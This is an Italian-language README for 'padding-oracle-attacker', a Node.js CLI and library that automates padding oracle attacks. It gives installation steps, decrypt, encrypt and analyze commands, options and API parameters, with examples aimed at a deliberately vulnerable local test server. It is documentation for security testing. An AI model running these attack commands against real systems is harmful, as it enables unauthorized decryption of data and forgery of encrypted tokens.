
🔓 Strumento CLI e libreria per eseguire facilmente attacchi padding oracle, con supporto per richieste di rete concorrenti e un'interfaccia utente elegante.
Strumento da riga di comando e libreria per eseguire facilmente attacchi padding oracle, con supporto per richieste di rete concorrenti e un'interfaccia elegante.
Assicurati che Node.js sia installato, quindi esegui
$ npm install --global padding-oracle-attacker
oppure
$ yarn global add padding-oracle-attacker
Utilizzo
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Comandi
decrypt Trova il testo in chiaro (foobar) per un dato ciphertext (hex:0123abcd)
encrypt Trova il ciphertext (hex:abcd1234) per un dato testo in chiaro (foo=bar)
analyze Aiuta a scoprire se l'URL è vulnerabile o meno, e
come la risposta differisce quando si verifica un errore di decifratura
(per l'argomento <error>)
Argomenti
<url> URL da attaccare. Il payload verrà inserito alla fine per impostazione predefinita. Per specificare
un punto di iniezione personalizzato, includi {POPAYLOAD} in un'intestazione (-H),
nel corpo della richiesta (-d) o nell'URL
<block_size> Dimensione del blocco utilizzata dall'algoritmo di cifratura sul server
<error> La stringa presente nella risposta quando la decifratura fallisce sul server.
Specifica una stringa presente nel corpo della risposta HTTP (es. PaddingException)
o il codice di stato della risposta HTTP (es. 400)
Opzioni
-c, --concurrency Richieste da inviare contemporaneamente [default: 128]
--disable-cache Disabilita la cache di rete. Salvata in [default: false]
poattack-cache.json.gz.txt per impostazione predefinita
-X, --method Metodo HTTP da utilizzare per effettuare la richiesta [default: GET]
-H, --header Intestazioni da inviare con la richiesta.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Corpo della richiesta
Stringa JSON: {"id": 101, "foo": "bar"}
Codificato URL: id=101&foo=bar
Assicurati di specificare l'intestazione Content-Type.
-e, --payload-encoding Codifica del payload del ciphertext per {POPAYLOAD} [default: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Base64 personalizzato ('xyz' rappresenta i caratteri per '+/=')
--dont-urlencode-payload Non codificare URL di {POPAYLOAD} [default: false]
--start-from-1st-block Inizia l'elaborazione dal primo blocco invece [default: false]
che dall'ultimo (funziona solo con la modalità decrypt)
Esempi
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
Alias
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// oppure
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: stringURL da attaccare. Il payload verrà aggiunto alla fine per impostazione predefinita. Per specificare un punto di iniezione personalizzato, includi {POPAYLOAD} nell'URL, in un'intestazione (requestOptions.headers) o nel corpo della richiesta (requestOptions.data)
blockSize: numberDimensione del blocco utilizzata dall'algoritmo di cifratura sul server.
isDecryptionSuccess: ({ statusCode, headers, body }) => booleanFunzione che restituisce true se la risposta del server indica che la decifratura è riuscita.
ciphertext: Buffer (solo decrypt)Ciphertext da decifrare.
plaintext: Buffer (solo encrypt)Testo in chiaro da cifrare. Il padding verrà aggiunto automaticamente. Esempio: Buffer.from('foo bar', 'utf8')
concurrency: number = 128Richieste di rete da inviare contemporaneamente.
isCacheEnabled: boolean = trueLe risposte vengono memorizzate nella cache per impostazione predefinita e salvate in poattack-cache.json.gz.txt. Imposta su false per disabilitare la cache.
requestOptions: { method, headers, data }requestOptions.method: stringMetodo HTTP da utilizzare per effettuare la richiesta. Di default GET. POST, PUT, DELETE sono alcune opzioni valide.
requestOptions.headers: { string: string }Intestazioni da inviare con la richiesta. Esempio: { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: stringCorpo della richiesta. Può essere una stringa JSON, parametri codificati URL, ecc. L'intestazione Content-Type deve essere impostata manualmente.
logMode: 'full'|'minimal'|'none' = 'full'full: Registra tutto nella console (default)
minimal: Registra solo l'avvio e il completamento nella console
none: Non registra nulla nella console
transformPayload: (ciphertext: Buffer) => stringFunzione per convertire il ciphertext in una stringa quando si effettua una richiesta. Per impostazione predefinita, il ciphertext viene codificato in esadecimale e inserito nel punto di iniezione (fine URL a meno che non sia presente {POPAYLOAD}).
decrypt)alreadyFound: BufferByte di testo in chiaro già noti/trovati che possono essere saltati (dalla fine). Se fornisci un Buffer di dieci byte, gli ultimi dieci byte verranno saltati.
initFirstPayloadBlockWithOrigBytes: boolean = falseInizializza il primo blocco di payload con i byte del ciphertext originale invece che con zeri.
Esempio: abcdef12345678ff 1111111111111111 invece di 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = falseInizia l'elaborazione dal primo blocco invece che dall'ultimo.
makeInitialRequest: boolean = trueEffettua una richiesta iniziale con il ciphertext originale fornito e registra la risposta del server nella console per consentire all'utente di verificare che le richieste di rete vengano inviate correttamente.
encrypt)makeFinalRequest: boolean = trueDopo aver trovato i byte del ciphertext per il nuovo plaintext, effettua una richiesta finale con i byte trovati e registra la risposta del server nella console.
lastCiphertextBlock: BufferCiphertext personalizzato per l'ultimo blocco. L'ultimo blocco è di default solo zeri (000000000000000).
padding-oracle-attacker è scritto in TypeScript. Se desideri modificare i file sorgente ed eseguirli, puoi compilare i file in JS prima ed eseguirli con node, oppure utilizzare ts-node.
Esempio: yarn build then node dist/cli ... o semplicemente ts-node src/cli ...
yarn build o npm run buildCompila i file TypeScript nella directory src in file JS e li output nella directory dist.
yarn clean o npm run cleanElimina la directory dist.
yarn lint o npm run lintControlla i file utilizzando eslint.
yarn test o npm run testControlla ed esegue i test utilizzando ava.
node test/helpers/vulnerable-server.jsAvvia il server di test che è vulnerabile agli attacchi padding oracle su http://localhost:2020
MIT © Kishan Bagaria